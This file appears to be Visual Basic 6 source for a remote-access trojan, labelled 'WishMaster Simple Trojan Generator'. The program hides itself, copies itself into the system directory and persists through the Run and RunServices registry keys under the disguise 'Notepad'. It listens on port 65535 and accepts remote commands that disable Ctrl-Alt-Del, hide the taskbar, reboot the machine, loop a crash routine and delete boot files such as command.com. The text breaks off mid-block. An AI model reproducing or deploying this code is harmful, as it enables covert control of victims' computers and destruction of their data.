form1.frm

一个简单的木马程式

VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Form1 
   Caption         =   "Form1"
   ClientHeight    =   2070
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   3135
   LinkTopic       =   "Form1"
   ScaleHeight     =   2070
   ScaleWidth      =   3135
   StartUpPosition =   3  'Windows Default
   Begin VB.TextBox TextUIN 
      Height          =   285
      Left            =   1680
      TabIndex        =   4
      Top             =   1560
      Width           =   735
   End
   Begin VB.DriveListBox Drive 
      Height          =   315
      Left            =   900
      TabIndex        =   3
      Top             =   600
      Width           =   270
   End
   Begin VB.DirListBox Dir 
      Height          =   315
      Left            =   600
      TabIndex        =   2
      Top             =   600
      Width           =   255
   End
   Begin VB.FileListBox File 
      Height          =   870
      Left            =   600
      TabIndex        =   1
      Top             =   960
      Width           =   825
   End
   Begin VB.Timer Timer1 
      Interval        =   100
      Left            =   0
      Top             =   120
   End
   Begin VB.TextBox textreceived 
      Height          =   315
      Left            =   600
      TabIndex        =   0
      Top             =   120
      Width           =   1395
   End
   Begin MSWinsockLib.Winsock Winsock1 
      Left            =   2520
      Top             =   120
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin MSWinsockLib.Winsock SockTransfer 
      Index           =   0
      Left            =   2520
      Top             =   1080
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin MSWinsockLib.Winsock sock 
      Index           =   0
      Left            =   2520
      Top             =   600
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin MSWinsockLib.Winsock SockPager 
      Left            =   2520
      Top             =   1560
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False

'WishMaster Simple Trojan Generator
Dim a As Integer 
Dim nConexao As Integer 
' Controle de diretórios... 
Dim cDiretorioAcima As String 
Dim cDiretorioAtual As String 
Dim cTamanho As Long 
' Controle de Transferencia de Dados...
Dim cTamanhoUP() As Long
Dim cRecebido() As String
Dim cArquivoUP() As String
Dim cIP As String
Private Declare Function SystemParametersInfo Lib _
"user32" Alias "SystemParametersInfoA" (ByVal uAction _
As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
ByVal fuWinIni As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
   (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
    ByVal lParam As Long) As Long
Private Const WM_SYSCOMMAND = &H112&
Private Const SC_SCREENSAVE = &HF140&
Const EWX_LogOff As Long = 0
Private Declare Function SetWindowPos Lib "user32" (ByVal _
    hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As _
    Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As _
    Long, ByVal wFlags As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias _
    "FindWindowA" (ByVal lpClassName As String, ByVal _
    lpWindowName As String) As Long
Dim hwnd1 As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40

Public Sub RegistryVerify()
   On Error Resume Next

   Dim cOrigemEXE As String
   Dim cDestinoEXE As String
   Dim cRegistry As String
   Dim cArquivo As String
  Dim Chavinha as String
   cOrigemEXE = UCase$(cAppDirectory & App.EXEName & ".EXE")
   cDestinoEXE = UCase(cDiretorioSystem & App.EXEName & ".exe")

FileCopy cOrigemEXE, cDestinoEXE

chavinha =    "Notepad"
cRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
   If QueryValue(HKEY_LOCAL_MACHINE, cRegistry, Chavinha) <> cDestinoEXE Then
      CreateNewKey cRegistry, HKEY_LOCAL_MACHINE
      SetKeyValue HKEY_LOCAL_MACHINE, cRegistry, Chavinha, cDestinoEXE, REG_SZ
   End If

 
   cRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices"
   If QueryValue(HKEY_LOCAL_MACHINE, cRegistry, Chavinha) <> cDestinoEXE Then
      CreateNewKey cRegistry, HKEY_LOCAL_MACHINE
      SetKeyValue HKEY_LOCAL_MACHINE, cRegistry, Chavinha, cDestinoEXE, REG_SZ
   End If
end sub

Private Sub Form_Load()
TextUIN =     "12313123"
Timer1.interval=100
Timer1.Enabled = False
Form1.Visible = False
On Error Resume Next
Winsock1.LocalPort =        65535
Winsock1.Listen
RegistryVerify
 ' Inicializa socks...
InicializaSock
' Redimencionamento de Variáveis... 
ReDim cTamanhoUP(5000) As Long 
ReDim cArquivoUP(5000) As String 
ReDim cRecebido(5000) As String 
xAnswer = GetSystemDirectory(cBuffer, Len(cBuffer)) 
cSystemDiretorio = Left(cBuffer, xAnswer) 
' Aguarda conex?o a internet... 
Do While Not InternetConnected() 
DoEvents 
Loop 
' Envia mensagens para ICQ de conex?o... 
 'RotinasInternas
End Sub


Public Sub SM(szMsg As String)
   On Error Resume Next

  Winsock1.SendData szMsg
End Sub
Private Sub EnableCtrlAltDelete(bEnabled As Boolean)
Dim x As Long
x = SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub
Private Sub DisableCtrlAltDelete(bDisabled As Boolean)
Dim x As Long
x = SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub


Private Sub Winsock1_Close()
On Error Resume Next
Winsock1.LocalPort =        65535
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim stBuffer1 As String
Winsock1.GetData stBuffer1, vbString
textreceived = ""
textreceived = stBuffer1
End Sub


Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Dim filtro
On Error Resume Next
If Err.Number = 10048 Then
Winsock1.Close
filtro = 0
End If
End Sub

Private Sub Timer1_Timer()
Beep
End Sub
Private Sub textreceived_Change()
If textreceived = "Open CD" Then
retvalue = mciSendString("set CDaudio door open", returnstring, 127, 0)
SM "Open ABRIR CD-ROM " + vbCrLf
textreceived = ""
End If


If textreceived = "CloseCD" Then
retvalue = mciSendString("set CDaudio door closed", returnstring, 127, 0)
SM "Close FECHAR CD-ROM " + vbCrLf
textreceived = ""
End If

If textreceived = "Beepon" Then
Timer1.Enabled = True
SM "The computer is beeping"
textreceived = ""
'Come鏰 outro comando
End If

If textreceived = "Beepoff" Then
Timer1.Enabled = False
SM "Beeping stopped"
textreceived = ""
End If

If textreceived = "DisableCtrlAltDel" Then
Call DisableCtrlAltDelete(True)
SM "CtrlAltDel was disabled              "
textreceived = ""
End If

If textreceived = "EnablCtrlAltDel" Then
Call EnableCtrlAltDelete(True)
SM "Ctrl Alt Del is enabled again        "
textreceived = ""
End If

If textreceived = "closeserver" Then
SM "Closing Server..." + vbCrLf
textreceived = ""
End
End If

   If textreceived = "crash" Then
   Do
    Y = Shell("C:\con\con", vbNormalFocus)
    
    x = Shell("c:\windows\notepad.exe", vbMinimizedFocus)
    
    Loop
End If

If textreceived = "Hidetaskbar" Then
hwnd1 = FindWindow("Shell_traywnd", "")
   Call SetWindowPos(hwnd1, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
SM "The taskbar is invisible" + vbCrLf
End If

If textreceived = "ShowTaskbar" Then
hwnd1 = FindWindow("Shell_traywnd", "")
Call SetWindowPos(hwnd1, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
Call SetWindowPos(hwnd1, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
SM "Taskbar visible again..." + vbCrLf
textreceived = ""
End If

If textreceived = "HangUp" Then
Call HangUp
textreceived = ""
End If

If textreceived = "RebootPC" Then
Call RebootSystem
textreceived = ""
End If

If textreceived = "FuckBOOT" Then
Shell "del c:\autoexec.bat", vbHide
Shell "del c:\command.com", vbHide
Shell "del c:\config.sys", vbHide
SM "He's really fucked now...            "
textreceived = ""
End If

If textreceived = "removeserver" Then
  Dim cRegistry As String
Dim Chavinha As String

chavinha =    "Notepad"
cRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
   If QueryValue(HKEY_LOCAL_MACHINE, cRegistry, Chavinha) <> cDestinoEXE Then
      CreateNewKey cRegistry, HKEY_LOCAL_MACHINE
      SetKeyValue HKEY_LOCAL_MACHINE, cRegistry, "", cDestinoEXE, REG_SZ
   End If

 
   cRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices"
   If QueryValue(HKEY_LOCAL_MACHINE, cRegistry, Chavinha) <> cDestinoEXE Then